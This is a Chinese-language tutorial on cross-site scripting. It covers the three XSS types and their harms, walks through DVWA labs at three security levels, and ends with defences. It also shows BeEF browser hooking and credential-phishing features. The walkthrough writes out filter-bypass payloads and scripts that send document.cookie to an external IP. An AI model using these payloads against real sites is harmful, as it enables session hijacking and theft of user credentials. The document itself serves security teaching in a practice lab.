简介:
跨站脚本攻击(Cross Site Scripting, 为了和层叠样式表(Cascading Style Sheet,CSS )有所区分,故称XSS)指利用网站漏洞执行攻击者插入的恶意代码以达到从用户那里恶意盗取信息的目的。
Xss漏洞的产生原理:
利用网站本身的存在的漏洞或缺陷,例如对输入数据的审核不严格导致其内涵恶意代码执行,从而产生危害。
XSS的三大类别:
反射型XSS:常出现在搜索、查询等功能中,攻击者在URL中插入XSS代码,用户访问该URL后会执行攻击者事先插入的XSS恶意代码。
储存型XSS:攻击者在页面上插入XSS代码,并被服务器存储进数据库,当用户访问到存在XSS漏洞的页面,服务端将数据从数据库中取出展示给用户时,导致XSS恶意代码执行。
Dom型XSS:DOM XSS的XSS代码并不需要服务器解析响应的直接参与,而是在javascript脚本动态执行的过程中产生,即触发XSS靠的就是浏览器端的DOM解析,即可以认为完全是客户端的事情。
XSS漏洞的危害:
(1)挂马:如通过IFrame或script嵌入网马URL(如<script> src=URL</script>,URL可以通过编码进行隐藏;<iframe> src = URL width = 0 height = 0 </iframe> 通过将框架的width和height设置为0来使得网马URL不可见)
(2)盗取用户cookie:cookie相当于网站的一块通行令牌,即使你登录网站后进行相关操作,凭借cookie可以免去服务器的身份验证。同理,若cookie被盗取后,可被利用进行免登录执行用户的相关权限。(cookie的同源策略:cookie使用不同的源定义方式,一个页面可以为本域和任何父域设置cookie,只要是父域不是公共后缀(publicsuffix)即可。不管使用哪个协议(HTTP/HTTPS)或端口号,浏览器都允许给定的域以及其任何子域名访问cookie。设置 cookie时,可以使用 domain / path / secure 和 http-only 标记来限定其访问性。所以 https://localhost:8080/ 和 http://localhost:8081/ 的Cookie是共享的。)
(3)钓鱼:利用XSS漏洞,重定向到钓鱼网站,骗取金钱或账号信息
(4)删除目标文章、篡改数据:利用cookie登录后进行操作、或者直接执行恶意代码语句。
(5)XSS蠕虫:主要在社交网站上传播,如MySpace Worm攻击事件。
(6)Dos攻击:通过构造http请求进行登录注销,使得cookie失效,用户的登录状态也就失效。
(7)修改页面内容:利用存储型XSS漏洞,在用户访问对应页面时弹出广告页面,或者直接劫持浏览器到攻击者提前准备好的网址。
(8)其他危害:如DDOS、获取表单输入、获取OS信息等
XSS漏洞实践:
实验环境:DVWA(其他练习环境:xss-labs、 XSS challenges:http://www.zixem.altervista.org/XSS/index.php)
工具:beef/XSS平台
(1)反射型XSS
Security level:low
漏洞测试输入<script>alert(1)</script>
漏洞利用:输入监听<script>new Image().src="http://192.168.202.141:9999/a.php?cookie=" +document.cookie;</script>
Security level:medium
漏洞测试输入<script>alert(1)</script>,无弹窗,且显示alert(1),猜测对<script></script>进行了过滤处理。
变换大小写,再次测试:<Script>alert(666)</sCript>
更换脚本:<img src=0 onerror = alert(777)>
漏洞简单利用:
<Script>new Image().src="http://192.168.202.141:8888/a.php?/cookie="+document.cookie;</scriPt>
Security level:high
测试输入<Script>alert(1)</scriPt>无反应,转换其他编码也是一样的结果
更换脚本<img src=0 οnerrοr=alert(1)> ,成功。
(2)dom型XSS
Security level: low
直接URL地址栏加上脚本代码:<script>alert(1)</script
Security level: medium
测试在URL直接输入<script>alert(1)</script>及其变换都无效,猜测其不允许script标签
更换脚本<img src=0 οnerrοr=alert(1)>,还是不行。
查看网页源码,发现怎么变换都无法跳出字符串标识
在脚本前输入</select>让脚本跳出标签:</select><img src=0 οnerrοr=alert(666)> 成功
Security level: high
测试输入发现处了选择其他语言外,在URL地址上添加其他字符都会默认回显选择English的情况
设置default值为空,输入#<script>alert(1)</script>
(3)存储型XSS
Security level:low
直接输入<script>alert(1)</script>
Security level:medium
在message 输入框中未发现有XSS注入点,试着从name输入框尝试,发现有字数限制,修改网页代码
输入<Script>alert(888)<Script> 成功
Security level:high
高级的的XSS显然已经将script过滤掉了
修改name字段中的限制,构造其他脚本<img src=0 οnerrοr=alert(5555)> 测试成功
beef工具的使用
将beef自带的脚本注入到网页中:
注入后登录beef,可以看到肉鸡已经上线
在current Browser 的命令Commands模块中执行感兴趣的操作。(注:在commands中有四种颜色标注,其中红色表示功能无效;绿色表示功能有效且不会被用户发现;黄色表示功能有效但会被用户发现;白色表示该功能不确定有效。)
获取cookie
修改页面
弹出弹窗
跳转到指定网页(重定向):
账号密码窃取(可以自己构造相应的重登录界面提示):
xss平台的使用:
创建项目,将提供好的代码对网站进行测试
完成后即可查看结果
XSS防御方法:
(1)建立黑白名单,如过滤输入中的script字段,包括大小写
(2)限制输入长度
(3)在服务器端对 Cookie 设置HttpOnly 属性
(4)在输出数据之前对潜在的威胁的字符进行编码、转义
(5)url安全验证